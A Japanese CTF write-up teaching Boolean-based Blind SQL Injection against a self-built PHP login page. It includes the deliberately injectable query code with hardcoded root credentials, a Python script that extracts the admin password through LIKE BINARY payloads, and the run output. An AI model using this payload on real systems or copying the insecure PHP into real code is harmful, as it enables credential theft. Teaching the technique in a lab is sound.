背景
先日参加したCTFでこの脆弱性を使用して解く問題が出たのでこれを機に記事を書きます。
Boolean-based Blind SQL Injectionとは
Blind SQL Injection
の一つで、真偽値を使用して情報を取得する攻撃を指す。
具体的な攻撃手法
CTFの問題を再現しつつ手法を解説していきます。
CTFの問題
adminユーザーのパスワードを特定せよ。
脆弱なアプリケーション
SQLインジェクションの脆弱性があり、ログインが成功した場合はLogin successful!
、失敗した場合はLogin failed!
を返すアプリケーションです。
今回admin
のパスワードはTh1s_is_4dmin_flag!
になっています。
mysql> select * from users;
+----+----------+---------------------+
| id | username | password |
+----+----------+---------------------+
| 1 | admin | Th1s_is_4dmin_flag! |
+----+----------+---------------------+
1 row in set (0.00 sec)
<?php
function init_db() {
$servername = "localhost";
$username = "root";
$password = "Pa$\$w0rd";
$dbname = "booleansqli";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "CREATE TABLE IF NOT EXISTS users(id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(255), password VARCHAR(255))";
if ($conn->query($sql) === TRUE) {
$sql = "INSERT INTO users (username, password) VALUES ('admin', 'ctf{**SECRET**}')";
$conn->query($sql);
} else {
echo "Error creating table: " . $conn->error;
}
$conn->close();
}
function login() {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$SERVER = "localhost";
$MYSQLUSER = "root";
$DBPASS = "Pa$\$w0rd";
$DBNAME = "booleansqli";
$conn = new mysqli($SERVER, $MYSQLUSER, $DBPASS, $DBNAME);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $conn->query($sql);
if (!$result) {
http_response_code(401);
echo("Login failed!");
} elseif ($result->num_rows > 0) {
http_response_code(200);
echo('Login successful!');
} else {
echo("Login failed!");
}
$conn->close();
} else {
include 'index.html';
}
}
login();
エクスプロイトコード
LIKE
文と%
を使ってブルートフォースでパスワードを特定します。
import requests
from string import printable
url = "http://localhost/booleansqli/app.php"
username = 'admin'
password = ''
characters = f"{printable}".replace("%","")
while True:
for char in characters:
payload = {
'username': username,
'password': f"' OR password LIKE BINARY '{password}{char}%"
}
response = requests.post(url, data=payload)
if 'Login successful' in response.text:
password += char
print(f"Found one more character: {password}")
break
print(f"Password found: {password}")
結果
Found one more character: T
Password found: T
Found one more character: Th
Password found: Th
Found one more character: Th1
Password found: Th1
Found one more character: Th1s
Password found: Th1s
Found one more character: Th1s_
Password found: Th1s_
Found one more character: Th1s_i
Password found: Th1s_i
Found one more character: Th1s_is
Password found: Th1s_is
Found one more character: Th1s_is_
Password found: Th1s_is_
Found one more character: Th1s_is_4
Password found: Th1s_is_4
Found one more character: Th1s_is_4d
Password found: Th1s_is_4d
Found one more character: Th1s_is_4dm
Password found: Th1s_is_4dm
Found one more character: Th1s_is_4dmi
Password found: Th1s_is_4dmi
Found one more character: Th1s_is_4dmin
Password found: Th1s_is_4dmin
Found one more character: Th1s_is_4dmin_
Password found: Th1s_is_4dmin_
Found one more character: Th1s_is_4dmin_f
Password found: Th1s_is_4dmin_f
Found one more character: Th1s_is_4dmin_fl
Password found: Th1s_is_4dmin_fl
Found one more character: Th1s_is_4dmin_fla
Password found: Th1s_is_4dmin_fla
Found one more character: Th1s_is_4dmin_flag
Password found: Th1s_is_4dmin_flag
Found one more character: Th1s_is_4dmin_flag!
Password found: Th1s_is_4dmin_flag!